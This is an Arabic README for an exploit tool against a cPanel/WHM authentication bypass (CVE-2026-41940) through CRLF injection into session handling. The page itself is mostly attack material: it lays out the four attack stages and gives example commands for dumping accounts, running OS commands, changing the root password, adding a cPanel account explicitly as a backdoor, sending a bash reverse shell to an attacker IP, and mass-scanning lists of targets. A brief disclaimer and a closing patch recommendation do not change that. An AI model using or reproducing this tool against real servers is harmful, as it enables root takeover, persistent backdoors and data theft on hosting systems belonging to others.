
تجاوز مصادقة cPanel/WHM (ثغرة يوم الصفر)
إخلاء مسؤولية: يتم توفير هذا المستند والسكريبت المرتبط به (
exploit.py) لأغراض تعليمية وبحوث أمنية واختبارات الاختراق المصرح بها فقط. لا تستخدم هذا البرنامج ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
exploit.py هو سكريبت يوضح ثغرة تجاوز المصادقة (CVE-2026-41940) في cPanel وWHM. تسمح الثغرة لمهاجم غير مصادق بحقن جلسة جذر (root session) في ذاكرة التخزين المؤقت للخدمة عبر خلل حقن CRLF، مما يمنح في النهاية وصولاً على مستوى الجذر إلى WHM دون الحاجة إلى بيانات اعتماد صالحة.
يعمل الاستغلال عبر استغلال ثغرة حقن CRLF (إرجاع السطر وتغذية السطر) داخل آلية معالجة المصادقة الأساسية (Basic Authentication)، إلى جانب خلل في انتشار الجلسة. يقوم السكريبت بأتمتة الهجوم على أربع مراحل:
/login/ أو /cgi/login.cgi) للحصول على ملف تعريف ارتباط جلسة أساسي غير مصادق (whostmgrsession).cpsrvd. استجابة إعادة التوجيه من الخادم تسرّب رمز الأمان المُنشأ (cpsess).do_token_denied لنشر الجلسة المزورة في ذاكرة التخزين المؤقت للخدمة — مما يجعلها جلسة مصادقة صالحة./json-api/version) باستخدام الجلسة المزورة لتأكيد الوصول على مستوى الجذر.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| الوسيط | الوصف |
|---|---|
--target URL | رابط WHM واحد (مثل https://target:2087) |
--target-file FILE | ملف يحتوي على الأهداف (سطر واحد لكل ip:port) — يفعّل وضع الفحص تلقائيًا |
| الوسيط | الوصف |
|---|---|
--threads N | خيوط المعالجة المتزامنة لوضع الأهداف المتعددة (الافتراضي: 10) |
--hostname HOST | تجاوز ترويسة Host — استخدمه عندما يفشل الاكتشاف التلقائي أو يعطي اسم مضيف خاطئ |
--timeout N | مهلة زمنية لكل طلب بالثواني (الافتراضي: 15) |
--retries N | عدد مرات إعادة المحاولة عند أخطاء الشبكة (الافتراضي: 3) |
--cookie-name NAME | فرض اسم معين لملف تعريف ارتباط الجلسة (يُكتشف تلقائيًا إذا حُذف) |
--no-verify | تخطي التحقق من المرحلة 4 والمتابعة على أي حال |
| الوسيط | الوصف |
|---|---|
--check | وضع الفحص فقط — تحقق من الثغرة دون استغلالها (يُضبط تلقائيًا مع --target-file) |
--password PASS | تغيير كلمة مرور الجذر إلى PASS |
--api FUNC | استدعاء دالة محددة من WHM JSON-API |
--api-params K=V,... | معاملات مفصولة بفواصل لخيار --api |
--exec CMD | تنفيذ أمر نظام تشغيل عبر WHM scripts/run_script (بديل: rawexec) |
--session | توليد رابط تسجيل دخول جذر بنقرة واحدة — افتحه فورًا، الرمز ينتهي بسرعة |
--shell | الدخول إلى قشرة WHM تفاعلية (هدف واحد فقط) |
--dump | تفريغ معلومات الخادم: الإصدار، الحسابات، مناطق DNS، الصلاحيات |
--add-user USER PASS DOMAIN | إنشاء حساب استضافة cPanel جديد |
--revshell LHOST LPORT | إرسال قشرة عكسية bash إلى المستمع الخاص بك |
| الوسيط | الوصف |
|---|---|
--output FILE | حفظ رمز الجلسة والتفاصيل في ملف JSON |
# تحقق مما إذا كان الهدف معرضًا للثغرة
python exploit.py --target https://target:2087 --check
# تفريغ معلومات الخادم (الإصدار، الحسابات، الصلاحيات)
python exploit.py --target https://target:2087 --dump
# توليد رابط تسجيل دخول جذر بنقرة واحدة (الصقه في المتصفح فورًا)
python exploit.py --target https://target:2087 --session
# تنفيذ أمر
python exploit.py --target https://target:2087 --exec "id"
# الدخول إلى قشرة WHM تفاعلية
python exploit.py --target https://target:2087 --shell
# تغيير كلمة مرور الجذر
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# استدعاء WHM API مباشرة
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# إنشاء حساب cPanel كباب خلفي
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# إرسال قشرة عكسية
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# تجاوز اسم المضيف (استخدمه عندما يفشل الاكتشاف التلقائي)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# فحص أهداف متعددة (وضع الفحص فقط)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# حفظ الجلسة في ملف
python exploit.py --target https://target:2087 --dump --output results.json
عند استخدام --shell، تتوفر الأوامر التالية:
| الأمر | الوصف |
|---|---|
api <function> [k=v ...] | استدعاء دالة من WHM JSON-API (مثل api version) |
exec <command> | تشغيل أمر نظام تشغيل عبر WHM (مثل exec id) |
passwd <newpass> | تغيير كلمة مرور الجذر |
dump | تفريغ معلومات الخادم |
revshell <lhost> <lport> | إرسال قشرة عكسية |
add <user> <pass> <domain> | إنشاء حساب cPanel |
save <path> | حفظ الجلسة الحالية في ملف |
exit / quit | الخروج من القشرة |
طبّق أحدث تصحيحات الأمان الخاصة بـ cPanel/WHM فورًا.